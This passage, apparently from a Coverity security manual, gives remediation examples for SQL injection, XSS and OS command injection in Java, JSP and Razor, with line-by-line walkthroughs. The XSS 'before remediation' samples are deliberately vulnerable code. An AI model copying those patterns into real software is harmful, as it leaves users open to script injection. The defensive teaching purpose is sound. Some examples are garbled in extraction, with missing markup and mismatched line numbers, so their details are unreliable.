- `SomeDAO.java` (58): The tainted list is passed to the helper function, concatenating the returned fragment to the SQL statement.
- `SomeDAO.java` (61-62): The tainted list is iterated upon, with the index (JDBC positional parameters start at 1) and value passed into the `setString()` method.

**6.6.1.7. SQL IN clause: HQL**

The following example directly binds a list of tainted data to a named parameter.

**`SomeDAO.java`**

```
17 public List<Order> getOrdersFrom(final String userInput) {
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
33 taintedList.add(userInput);
[...]
59 try {
60 Query query = sess.createQuery("from Person person
 where person.name in (:state)");
61 query.setParameter("state", taintedList);
```

**Progression of the security issue:**

- `SomeDAO.java` (17): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (32-33): An `ArrayList` is populated with tainted data.
- `SomeDAO.java` (60-61): The tainted list is passed into the Hibernate `setParameter()` method, bound to the `state` named parameter.

**6.6.1.8. SQL IN clause: Hibernate native query**

The following example uses a helper method to generate a SQL fragment, based on some list. The fragment is then concatenated into the SQL statement.

**`SQLUtils.java`**

```
11 public static String generateSqlInFragmentHibernate(List<String> taintedList)
{
```

```

12 StringBuilder params = new StringBuilder(taintedList.size()*2);
13 for (int i=0; i < taintedList.size(); i++) {
14 params.append("?");
15 if (i < taintedList.size() - 1)
16 params.append(",");
17 }
18
19 return params.toString();
20 }

```

**SomeDAO.java**

```

17 public List<Order> getOrdersFrom(final String userInput) {
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
33 taintedList.add(userInput);
[...]

58 String paramQuery = "SELECT * FROM table WHERE column IN (" +
 SQLUtils.generateSqlInFragmentHibernate(taintedList) + ")";
59 try {
60 SQLQuery query = sess.createSQLQuery(paramQuery);
61 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext();)
 {
62 query.setParameter(id.nextIndex(), id.next());
63 }

```

**Progression of the security issue:**

- SQLUtils.java (11): This function accepts a List. It creates a StringBuffer comprised of the pattern "? , ? , ... ? " , for each member of the List.
- SomeDAO.java (17): A tainted value, userInput , is passed into the method.
- SomeDAO.java (32-33): An ArrayList is populated with tainted data.
- SomeDAO.java (58): The tainted list is passed to the helper function, concatenating the returned fragment to the SQL statement.
- SomeDAO.java (61-62): The tainted list is iterated upon, with the index (Hibernate positional parameters start at 0 ) and value passed into the setParameter() method.

**6.6.1.9. SQL IN clause: JPQL**

The following example directly binds a list of tainted data to a named parameter.

**SomeDAO.java**

```

17 public List<Order> getOrdersFrom(final String userInput) {

```

```
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
33 taintedList.add(userInput);
[...]

59 try {
60 Query query = entityManager.createQuery("SELECT p
 FROM Person p WHERE p.name IN (:state)");
61 query.setParameter("state", taintedList);
```

**Progression of the security issue:**

- SomeDAO.java (17): A tainted value, `userInput`, is passed into the method.
- SomeDAO.java (32-33): An `ArrayList` is populated with tainted data.
- SomeDAO.java (60-61): The tainted list is passed into the JPA `setParameter()` method, bound to the `state` named parameter.

**6.6.1.10. SQL IN clause: JPA native query**

The following example uses a helper method to generate a SQL fragment, based on some list. The fragment is then concatenated into the SQL statement.

SQLUtils.java

```
11 public static String generateSqlInFragmentJpa(List<String> taintedList) {
12 StringBuilder params = new StringBuilder(taintedList.size()*4);
13 for (int i=0; i < taintedList.size(); i++) {
14 params.append("? " + Integer.toString(i + 1));
15 if (i < taintedList.size() - 1)
16 params.append(",");
17 }
18
19 return params.toString();
20 }
```

SomeDAO.java

```
17 public List<Order> getOrdersFrom(final String userInput) {
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
33 taintedList.add(userInput);
[...]

58 String paramQuery = "SELECT * FROM table WHERE column IN ("
 + SQLUtils.generateSqlInFragmentJpa(taintedList) +)";
59 try {
60 Query query = entityManager.createNativeQuery(paramQuery);
```

```
61 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext();)
62 {
63 query.setParameter(id.nextIndex() + 1, id.next());
64 }
```

#### Progression of the security issue:

- `SQLUtils.java` (11): This function accepts a `List`. It creates a `StringBuffer` comprised of the pattern `?1,?2,...?` for each member of the `List`. JPA positional parameters require a digit after the question mark, starting at 1.
- `SomeDAO.java` (17): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (32-33): An `ArrayList` is populated with tainted data.
- `SomeDAO.java` (58): The tainted list is passed to the helper function, concatenating the returned fragment to the SQL statement.
- `SomeDAO.java` (61-62): The tainted list is iterated upon, with the index (JPA positional parameters start at 1) and value passed into the `setParameter()` method.

#### 6.6.1.11. SQL string: JDBC

The following example uses a parameterized statement to bind tainted data to a parameter within the statement.

`SomeDAO.java`

```
73 public List<Order> getOrdersByName(final String userInput) {
74 [...]
75 String paramQuery = "SELECT * FROM table WHERE name = ?";
76 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
77 prepStmt.setString(1, userInput);
78 prepStmt.executeQuery();
79 }
```

#### Progression of the security issue:

- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (83): The statement has been parameterized.
- `SomeDAO.java` (85): The tainted value is bound to a positional parameter within the statement, which is escaped automatically by the JDBC driver. JDBC positional parameters start at 1.

#### 6.6.1.12. SQL string: HQL

The following example uses a parameterized statement to bind tainted data to a parameter within the statement.

`SomeDAO.java`

```
73 public List<Person> getPeopleByState(final String userInput) {
[...]
83 Query query =
 sess.createQuery("from Person person where person.state = :state");
84 query.setParameter("state", userInput);
[...]
```

**Progression of the security issue:**

- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (83): The statement has been parameterized.
- `SomeDAO.java` (84): The tainted value is bound to a named parameter within the statement, which is escaped automatically.

**6.6.1.13. SQL string: Hibernate native query**

The following example uses a parameterized statement to bind tainted data to a parameter within the statement.

**`SomeDAO.java`**

```
73 public List<Order> getOrdersByName(final String userInput) {
81
82 try {
83 SQLQuery query = sess.createQuery("SELECT
 * FROM table WHERE column = ?");
84 query.setParameter(0, userInput);
[...]
```

**Progression of the security issue:**

- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (83): The statement has been parameterized.
- `SomeDAO.java` (84): The tainted value is bound to a positional parameter within the statement, which is escaped automatically. Hibernate positional parameters start at 0.

**6.6.1.14. SQL string: JPQL**

The following example uses a parameterized statement to bind tainted data to a parameter within the statement.

**`SomeDAO.java`**

```
73 public List<Person> getPeopleByState(final String userInput) {
```

```
81
82 try {
83 Query query = entityManager.createQuery("SELECT p
 FROM Person p WHERE p.state = :state");
84 query.setParameter("state", userInput);
85 }
86 [...]

```

**Progression of the security issue:**

- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (83): The statement has been parameterized.
- `SomeDAO.java` (84): The tainted value is bound to a named parameter within the statement, which is escaped automatically.

**6.6.1.15. SQL string: JPA native query**

The following example uses a parameterized statement to bind tainted data to a parameter within the statement.

**`SomeDAO.java`**

```
73 public List<Person> getPeopleByState(final String userInput) {
81
82 try {
83 Query query = entityManager.createNativeQuery("SELECT *
 FROM table WHERE column = ?1");
84 query.setParameter(1, userInput);
85 }
86 [...]

```

**Progression of the security issue:**

- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (83): The statement has been parameterized.
- `SomeDAO.java` (84): The tainted value is bound to a positional parameter within the statement, which is escaped automatically. JPA positional parameters require a digit after the question mark, starting at 1.

**6.6.1.16. SQL `LIKE` string: JDBC**

The following example uses a parameterized statement, uses a Coverity escaper to escape the string that is bound to the SQL `LIKE` clause, and then binds the value to the parameter within the statement.

**`SomeDAO.java`**

```
5 import com.coverity.security.Escape;
```

```
[...]
73 public List<Person> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 String paramQuery = "SELECT
 * FROM table WHERE column LIKE ? {escape '@}";
86 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
87 prepStmt.setString(1, likeEscapedTainted);
88 prepStmt.executeQuery();
[...]
```

#### Progression of the security issue:

- `SomeDAO.java` (5): The Coverity escaping library (see Section 6.4.25, “sanitizers”) is imported.
- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (84): The `Escape.sqlLikeClause()` method escapes the percent-sign ( `%`, U+0025 ) and underscore ( `_`, U+005F ) from the tainted value, using the at sign ( `@`, U+0040 ). While any character can be used, the backslash ( `\`, U+005C ) should be avoided. Note that this escaper does not prevent SQL injection defects. It preserves the meaning of the `LIKE` query by only escaping characters with special meaning in a `LIKE` clause.
- `SomeDAO.java` (85): The statement has been parameterized. Also, the `escape` keyword is used, which notifies JDBC that `%` and `_` values within the string are considered escaped when they are prefixed with an `@` (for example, `@_`).
- `SomeDAO.java` (87): The tainted value is bound to a positional parameter within the statement, which is escaped automatically by the JDBC driver. JDBC positional parameters start at 1.

#### 6.6.1.17. SQL `LIKE` string: HQL

The following example uses a parameterized statement, uses a Coverity escaper to escape the string that is bound to the SQL `LIKE` clause, and then binds the value to the parameter within the statement.

##### `SomeDAO.java`

```
5 import com.coverity.security.Escape;
[...]
73 public List<Person> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 Query query = sess.createQuery("from Person person
 where person.state like :state escape '@");
86 query.setParameter("state", likeEscapedTainted);
[...]
```

#### Progression of the security issue:

- `SomeDAO.java` (5): The Coverity escaping library (see Section 6.4.25, “sanitizers”) is imported.

- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (84): The `Escape.sqlLikeClause()` method escapes the percent-sign ( `%`, U+0025 ) and underscore ( `_`, U+005F ) from the tainted value, using the at sign ( `@`, U+0040 ). While any character can be used, the backslash ( `\`, U+005C ) should be avoided. Note that this escaper does not prevent SQL injection defects. It preserves the meaning of the `LIKE` query by only escaping characters with special meaning in a `LIKE` clause.
- `SomeDAO.java` (85): The statement has been parameterized. In addition, the `escape` keyword is used, notifying Hibernate (version 3 and above) that `%` and `_` values within the string are considered escaped if prefixed with an `@` (for example, `@_`).
- `SomeDAO.java` (86): The tainted value is bound to a named parameter within the statement, which is escaped automatically.

#### 6.6.1.18. SQL `LIKE` string: Hibernate native query

The following example uses a parameterized statement, uses a Coverity escaper to escape the string that is bound to the SQL `LIKE` clause, and then binds the value to the parameter within the statement.

`SomeDAO.java`

```
5 import com.coverity.security.Escape;
[...]
73 public List<Person> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 SQLQuery query = sess.createSQLQuery("SELECT
 * from person where person.state like ? escape '@");
86 query.setParameter(0, likeEscapedTainted);
[...]
```

#### Progression of the security issue:

- `SomeDAO.java` (5): The Coverity escaping library (see Section 6.4.25, “sanitizers”) is imported.
- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (84): The `Escape.sqlLikeClause()` method escapes the percent-sign ( `%`, U+0025 ) and underscore ( `_`, U+005F ) from the tainted value, using the at sign ( `@`, U+0040 ). While any character can be used, the backslash ( `\`, U+005C ) should be avoided. Note that this escaper does not prevent SQL injection defects. It preserves the meaning of the `LIKE` query by only escaping characters with special meaning in a `LIKE` clause.
- `SomeDAO.java` (85): The statement has been parameterized. In addition, the `escape` keyword is used to notify Hibernate (version 3 and above) that `%` and `_` values within the string are considered escaped if prefixed with an `@` (for example, `@_`).
- `SomeDAO.java` (86): The tainted value is bound to a positional parameter within the statement, which is escaped automatically. Hibernate positional parameters start at `0`.

### 6.6.1.19. SQL `LIKE` string: JPQL

The following example uses a parameterized statement, uses a Coverity escaper to escape the string bound to the SQL `LIKE` clause, and then binds the value to the parameter within the statement.

**SomeDAO.java**

```

5 import com.coverity.security.Escape;
73 public List<Person> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 Query query = sess.createQuery("from Person person
 where person.state like :state escape '@'");
86 query.setParameter("state", likeEscapedTainted);
[...]
```

#### Progression of the security issue:

- `SomeDAO.java` (5): The Coverity escaping library (see Section 6.4.25, “sanitizers” is imported.
- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (84): The `Escape.sqlLikeClause()` method escapes the percent-sign (`%`, U+0025) and underscore (`_`, U+005F) from the tainted value, using the at sign (`@`, U+0040). While any character can be used, the backslash (`\`, U+005C) should be avoided. Note that this escaper does not prevent SQL injection defects. It preserves the meaning of the `LIKE` query by only escaping characters with special meaning in a `LIKE` clause.
- `SomeDAO.java` (85): The statement has been parameterized. In addition, the `escape` keyword is used to notify Hibernate (version 3 and above) that `%` and `_` values within the string are considered escaped if prefixed with an `@` (for example, `@_`).
- `SomeDAO.java` (86): The tainted value is bound to a positional parameter within the statement, which is escaped automatically. Hibernate positional parameters start at 0.

### 6.6.1.20. SQL `LIKE` string: JPA native query

The following example uses a parameterized statement, uses a Coverity escaper to escape the string that is bound to the SQL `LIKE` clause, and then binds the value to the parameter within the statement.

**SomeDAO.java**

```

5 import com.coverity.security.Escape;
[...]
73 public List<People> getPeopleLike(final String userInput) {
[...]
84 likeEscapedTainted = Escape.sqlLikeClause(userInput, '@');
85 Query query = entityManager.createNativeQuery("SELECT *
 FROM person WHERE person.state LIKE ?1 escape '@'");
```

```
86 query.setParameter(1, likeEscapedTainted);
[...]
```

### Progression of the security issue:

- `SomeDAO.java` (5): The Coverity escaping library (see Section 6.4.25, “sanitizers”) is imported.
- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (84): The `Escape.sqlLikeClause()` method escapes the percent-sign (`%`, U+0025) and underscore (`_`, U+005F) from the tainted value, using the at sign (`@`, U+0040). While any character can be used, the backslash (`\`, U+005C) should be avoided. Note that this escaper does not prevent SQL injection defects. It preserves the meaning of the `LIKE` query by only escaping characters with special meaning in a `LIKE` clause.
- `SomeDAO.java` (85): The statement has been parameterized. In addition, the `escape` keyword is used to notify JPA that `%` and `_` values within the string are considered escaped if prefixed with an `@` (for example, `@_`).
- `SomeDAO.java` (86): The tainted value is bound to a positional parameter within the statement, which is escaped automatically. JPA positional parameters require a digit after the question mark, starting at 1.

#### 6.6.1.21. SQL table name: JDBC

The following example uses indirect references through a `HashMap` to add SQL table and column names used by the application.

##### `Constants.java`

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("CONTRACTOR", "tbVendors.ID");
11 m.put("HR", "tbHR1.ID");
12 //...
13 return Collections.unmodifiableMap(m);
[...]
```

##### `SomeDAO.java`

```
73 public List<People> getAllPeopleFrom(final String userInput) {
[...]
80 String untainted = Constants.SQL.get(userInput);
81 if (untainted != null) {
82 String paramQuery = "SELECT * FROM " + untainted;
83 PreparedStatement prepStmt =
84 connection.prepareStatement(paramQuery);
```

```
85 prepStmt.executeQuery();
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

**Progression of the security issue:**

- Constants.java (10-11): A list of common SQL tables is added to the HashMap .
- SomeDAO.java (73): A tainted value, userInput , is passed into the method.
- SomeDAO.java (80-83): If the user provides a value such as HR , the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

**6.6.1.22. SQL table name: HQL**

The following example uses indirect references through a HashMap to add SQL table and column names used by the application.

**Constants.java**

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "Orders table");
11 m.put("legacyOrders", "LegacyOrders table");
12 //...
13 return Collections.unmodifiableMap(m);
[...]
```

**SomeDAO.java**

```
73 public List<People> getAllOrdersFrom(final String userInput) {
[...]
80 String untainted = Constants.SQL.get(userInput);
81 if (untainted != null) {
82
83 Query query = sess.createQuery("from " +
 untainted + " order by table.item asc");
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

**Progression of the security issue:**

- `Constants.java` (10-11): A list of common SQL tables is added to the `HashMap`.
- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (80-83): If the user provides a value such as "legacyOrders", the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

### 6.6.1.23. SQL table name: Hibernate native query

The following example uses indirect references through a `HashMap` to add SQL identifiers that are used by the application.

#### `Constants.java`

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "orders");
11 m.put("legacyOrders", "legacy_orders");
12 // ..
13 return Collections.unmodifiableMap(m);
14 }
15 }
```

#### `SomeDAO.java`

```
73 public List<People> getAllOrdersFrom(final String userInput) {
74 [...]
75 String untainted = Constants.SQL.get(userInput);
76 if (untainted != null) {
77 [...]
78 SQLQuery query = sess.createQuery("SELECT
79 * FROM " + untainted + " ORDER BY user ASC");
80 [...]
81 } else {
82 // log event as potential security tampering...
83 }
84 }
85 [...]
```

#### Progression of the security issue:

- `Constants.java` (10-11): A list of common SQL tables is added to the `HashMap`.
- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (80-83): If the user provides a value such as "newOrders", the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

#### 6.6.1.24. SQL table name: JPQL

The following example uses indirect references through a `HashMap` to add SQL identifiers that are used by the application.

##### `Constants.java`

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "Orders o");
11 m.put("legacyOrders", "LegacyOrders o");
12 //...
13 return Collections.unmodifiableMap(m);
14 }
15 }
```

##### `SomeDAO.java`

```
73 public List<People> getAllOrdersFrom(final String userInput) {
74 [...]
75 String untainted = Constants.SQL.get(userInput);
76 if (untainted != null) {
77 [...]
78 Query query = entityManager.createQuery("SELECT o FROM "
79 + untainted + " ORDER BY o.item ASC");
80 [...]
81 } else {
82 // log event as potential security tampering...
83 }
84 }
```

#### Progression of the security issue:

- `Constants.java` (10-11): A list of common SQL statement fragments are added to the `HashMap`.
- `SomeDAO.java` (73): A tainted value, `userInput`, is passed into the method.
- `SomeDAO.java` (80-83): If the user provides a value such as "newOrders", the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

#### 6.6.1.25. SQL table name JPA native query

The following example uses indirect references through a `HashMap` to add SQL identifiers that are used by the application.

##### `Constants.java`

```
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "orders");
11 m.put("legacyOrders", "legacy_orders");
12 // ..
13 return Collections.unmodifiableMap(m);
14 }
15 }
```

#### SomeDAO.java

```
73 public List<People> getAllOrdersFrom(final String userInput) {
144 [...]
145 String untainted = Constants.SQL.get(userInput);
146 if (untainted != null) {
147
148 Query query = entityManager.createNativeQuery("SELECT * FROM "
149 + untainted + " ORDER BY user ASC");
150
151 } else {
152 // log event as potential security tampering...
153 }
154 }
```

#### Progression of the security issue:

- Constants.java (10): A list of common SQL statement fragments are added to the `HashMap`.
- SomeDAO.java (73): A tainted value, `userInput`, is passed into the method.
- SomeDAO.java (80-83): If the user provides a value such as "newOrders", the value is concatenated to the SQL statement. If the user supplies an invalid value, the application can log it as suspicious or perform some other action.

## 6.6.2. XSS remediation examples

### 6.6.2.1. XSS example: ASP.NET Razor View

The following example shows an XSS defect before and after remediation. The defect occurred using an ASP.NET Razor View that displayed unsafe data in a request parameter, which was later displayed within an HTML attribute.

#### Before remediation: example.cshtml

```
@{
 String needHelp = Request["needHelp"];
}
```

```
Hello
```

**After remediation: example.cshtml**

```
@{
 String needHelp = Request["needHelp"];
}
Hello
```

**Progression of the security issue:**

- Event 1: The parameter `needHelp` is obtained from the HTTP request. This value is considered tainted until it is sanitized appropriately.
- Event 2: The `Html.Raw` method converts the value to an `IHtmlString`, which will *not* be escaped automatically by the Razor engine.
- Event 3: The value is "inlined" into a single-quoted Javascript string within the double-quoted `onmouseover` HTML tag attribute. After remediation, the value is escaped using the combination of Coverity `Escape.Html()` and `Escape.JsString()` methods. This action properly escapes the value for both the HTML double-quoted attribute context and the nested JavaScript single-quoted string context, remedying the XSS defect.

### 6.6.2.2. XSS remediation example: Java Servlet

The following example shows an XSS defect before and after remediation. The defect occurred within a Java Servlet that writes tainted data directly into the response, which is later displayed within an HTML context.

**Before remediation: IndexServlet.java**

```
8 public class IndexServlet extends HttpServlet {
9
10 protected void doGet(HttpServletRequest request, HttpServletResponse response)
11 throws ServletException, IOException {
12
13 String param = request.getParameter("index");
14
15 PrintWriter out = response.getWriter();
16 response.setContentType("text/html");
17 out.write("<html><body>Index requested: " + param);
18 out.write("...");
```

**After remediation: IndexServlet.java**

```
7 import com.coverity.security.Escape;
8 public class IndexServlet extends HttpServlet {
9
10 protected void doGet(HttpServletRequest request, HttpServletResponse response)
11 throws ServletException, IOException {
```

```
12
13 String param = request.getParameter("index");
14
15 PrintWriter out = response.getWriter();
16 response.setContentType("text/html");
17 out.write("<html><body>Index requested: " + Escape.html(param));
18 out.write("...");
```

#### Progression of the security issue:

1. `IndexServlet.java` (13) before remediation: The parameter `index` is obtained from the HTTP request. This value is considered unsafe until it is sanitized appropriately.
2. `IndexServlet.java` (17) before remediation: The value is displayed within an HTML context, causing the original defect.
3. `IndexServlet.java` (7) after remediation: The Coverity escaper `Escape` is imported.
4. `IndexServlet.java` (17) after remediation: The value is escaped using the `Escape.html()` method. This action properly escapes the value for the HTML context, remedying the XSS defect.

#### 6.6.2.3. XSS remediation example: JavaServer Page

The following example shows an XSS defect before and after remediation. The defect occurred using a JavaServer Page that displayed unsafe data in a request parameter, which was later displayed within an HTML attribute.

##### Before remediation: `bloghelp.jsp` :

```
1 <%@ page language="java" contentType="text/html; charset=utf-8"
 pageEncoding="utf-8"%>
2
3 <%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
4 <%
5 String needHelp = request.getParameter("needHelp");
6 if (needHelp == null || needHelp == "")
7 needHelp = "none";
8 %>
9 <!DOCTYPE html>
10 <html>
11 <head>
12 <script src="/webApp/static/js/main.js"></script>
13 </head>
14 <body>
15
16 <span onmouseover="lookupHelp('<%= needHelp
 %>');">Hello Blogger!
17
18 To add a blog, please navigate to ...
19
```

##### After remediation: `bloghelp.jsp` :

```
1 <%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
2 <%@ page import="com.coverity.security.Escape" %>

3 <%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
4 <%
5 String needHelp = request.getParameter("needHelp");
6 if (needHelp == null || needHelp == "")
7 needHelp = "none";
8 %>
9 <!DOCTYPE html>
10 <html>
11 <head>
12 <script src="/webApp/static/js/main.js"></script>
13 </head>
14 <body>
15
16 <span onmouseover="lookupHelp('<%= Escape.html(Escape.jsString(needHelp))
 %>');">Hello Blogger!
17
18 To add a blog, please navigate to ...
19
```

### Progression of the security issue:

1. `bloghelp.jsp` (5) before remediation: The parameter `needHelp` is obtained from the HTTP request. This value is considered tainted until it is sanitized appropriately.
2. `bloghelp.jsp` (2) after remediation: The Coverity escapers `Escape` are imported.
3. `bloghelp.jsp` (16) after remediation: The value is escaped using the combination of Coverity `Escape.html()` and `Escape.jsString()` methods. This action properly escapes the value for both the HTML double-quoted attribute context and the nested JavaScript single-quoted string context, remedying the XSS defect.

## 6.6.3. OS Command Injection code examples

### 6.6.3.1. OS Command Injection Command Tainted: `Runtime.exec`

The following example uses indirect references through a `Map` to supply constant command names for the application.

#### `CommandConstants.java`

```
11 public class CommandConstants {
...
15 public static final Map<String, String> COMMANDS =
 initializeDifferentCommands();
...
56 private static Map<String, String> initializeDifferentCommands() {
```

```

57 Map<String, String> m = new HashMap<String, String>();
58 m.put("commandOne", "/usr/bin/commandone");
59 m.put("commandTwo", "/usr/local/sbin/commandtwo");
60 // ...
61 return java.util.Collections.unmodifiableMap(m);
62 }

```

### CommandServlet.java

```

12 public class CommandServlet extends HttpServlet {
...
201 private void runCommand(String commandName, PrintWriter out)
202 throws RuntimeException {
203
204 try {
205
206 String untaintedCommand = CommandConstants.COMMANDS.get(commandName);
207 if (untaintedCommand != null) {
208
209 String[] untaintedArray = new String[] {untaintedCommand,
210 "-c", "-f", "output.txt"};
211
212 Process proc = Runtime.getRuntime().exec(untaintedArray)

```

#### Progression of the security issue:

- `CommandConstants.java` (15): A map of user keys to commands is created.
- `CommandServlet.java` (201): A tainted value, `commandName`, is passed into the method.
- `CommandServlet.java` (206): The tainted value is checked against the map. If the tainted value equals a key such as `commandOne`, a constant value is returned.
- `CommandServlet.java` (209): The untainted value is included in a static array.
- `CommandServlet.java` (211): The static array is passed to `Runtime.exec(String[])`.

#### 6.6.3.2. OS Command Injection Command Tainted: ProcessBuilder

The following example uses indirect references through a `Map` to supply constant command names for the application.

### CommandConstants.java

```

11 public class CommandConstants {
...
15 public static final Map<String, String> COMMANDS =
initializeDifferentCommands();

56 private static Map<String, String> initializeDifferentCommands() {
57 Map<String, String> m = new HashMap<String, String>();
58 m.put("commandOne", "/usr/bin/commandone");

```

```

59 m.put("commandTwo", "/usr/local/sbin/commandtwo");
60 // ...
61 return java.util.Collections.unmodifiableMap(m);
62 }

```

### CommandServlet.java

```

12 public class CommandServlet extends HttpServlet {
...
234 private void runCommand(String commandName, PrintWriter out)
235 throws RuntimeException {
236
237 try {tainted command
238
239 String untaintedCommand = CommandConstants.COMMANDS.get(commandName);
240 if (untaintedCommand != null) {
241
242 String[] untaintedArray = new String[] {untaintedCommand,
243 "-c", "-f", "output.txt"};
244
245 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
246 Process proc = pb.start();

```

### Progression of the security issue:

- `CommandConstants.java` (15): A map of user keys to commands is created.
- `CommandServlet.java` (234): A tainted value, `commandName`, is passed into the method.
- `CommandServlet.java` (239): The tainted value is checked against the map. If the tainted value equals a key such as `commandOne`, a constant value is returned.
- `CommandServlet.java` (242): The untainted value is included in a static array.
- `CommandServlet.java` (244): The static array is passed to `ProcessBuilder` (`String...` ).

### 6.6.3.3. OS Command Injection Command Fully Tainted: `Runtime.exec`

The following example uses indirect references through a `Map` to supply constant command names and arguments for the application.

### CommandConstants.java

```

11 public class CommandConstants {
...
16 public static final Map<String, String[]> FULL_COMMANDS =
17 initializeDifferentFullCommands();
...
51 private static Map<String, String[]> initializeDifferentFullCommands() {
52 Map<String, String[]> m = new HashMap<String, String[]>();
53 m.put("fullCommandOne", new String[] {"/usr/bin/commandone", "-c", "--
output",

```

```

 "out.txt"});
54 m.put("fullCommandTwo", new String[] {"/usr/local/sbin/commandtwo", "-v",
"-V",
 "--print-errors"});
55 // ...
56 return java.util.Collections.unmodifiableMap(m);
57 }

```

### CommandServlet.java

```

12 public class CommandServlet extends HttpServlet {
...
269 private void runCommandFully(String commandName, PrintWriter out)
270 throws RuntimeException {
271
272 try {
273
274 String[] untaintedArray =
CommandConstants.FULL_COMMANDS.get(commandName);
275 if (untaintedArray != null) {
276
277 Process proc = Runtime.getRuntime().exec(untaintedArray);

```

### Progression of the security issue:

- `CommandConstants.java` (16): A map of user keys to commands is created.
- `CommandServlet.java` (269): A tainted value, `commandName`, is passed into the method.
- `CommandServlet.java` (274): The tainted value is checked against the map. If the tainted value equals a key such as `commandOne`, a static array is returned.
- `CommandServlet.java` (277): The static array is passed to `Runtime.exec(untaintedArray)`.

### 6.6.3.4. OS Command Injection Command Fully Tainted: ProcessBuilder

The following example uses indirect references through a `Map` to supply constant command names and arguments for the application.

### CommandConstants.java

```

11 public class CommandConstants {
...
16 public static final Map<String, String[]> FULL_COMMANDS =
 initializeDifferentFullCommands();
...
51 private static Map<String, String[]> initializeDifferentFullCommands() {
52 Map<String, String[]> m = new HashMap<String, String[]>();
53 m.put("fullCommandOne", new String[] {"/usr/bin/commandone", "-c", "--
output",
 "out.txt"});

```

```

54 m.put("fullCommandTwo", new String[] {"/usr/local/sbin/commandtwo", "-v",
"-v",
 "--print-errors"});
55 // ...
56 return java.util.Collections.unmodifiableMap(m);
57 }

```

### CommandServlet.java

```

12 public class CommandServlet extends HttpServlet {
...
300 private void runCommandFully(String commandName,
 PrintWriter out)
301 throws RuntimeException {
302
303 try {
304
305 String[] untaintedArray =
CommandConstants.FULL_COMMANDS.get(commandName);
306 if (untaintedArray != null) {
307
308 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
309 Process proc = pb.start();

```

#### Progression of the security issue:

- `CommandConstants.java` (16): A map of user keys to commands is created.
- `CommandServlet.java` (300): A tainted value, `commandName`, is passed into the method.
- `CommandServlet.java` (305): The tainted value is checked against the map. If the tainted value equals a key such as `commandOne`, a static array is returned.
- `CommandServlet.java` (308): The static array is passed to `ProcessBuilder(String...)`.

### 6.6.3.5. OS Command Injection Unsafe: Runtime.exec

The following example uses indirect references through a `Map` to supply constant command tainted command names and arguments for the application.

#### CommandConstants.java

```

11 public class CommandConstants {
12
13 public static final Map<String, String> BASH_ARGS = initializeBashList();
...
16
17 private static Map<String, String> initializeBashList() {
18 Map<String, String> m = new HashMap<String, String>();
19 m.put("all", "ls -l *");
20 m.put("logfile", "ls foo.log");
21 // ...

```

```

22 return java.util.Collections.unmodifiableMap(m);
23 }

```

### CommandServlet.java

```

12 public class CommandServlet extends HttpServlet {
...
103 private void listFile(String outputFile, PrintWriter out)
104 throws RuntimeException {
105
106 try {
107
108 String untaintedArg = CommandConstants.BASH_ARGS.get(outputFile);
109 if (untaintedArg != null) {
110
111 String[] untaintedArray = new String[] {"/bin/bash", "-c",
untaintedArg};
112 Process proc = Runtime.getRuntime().exec(
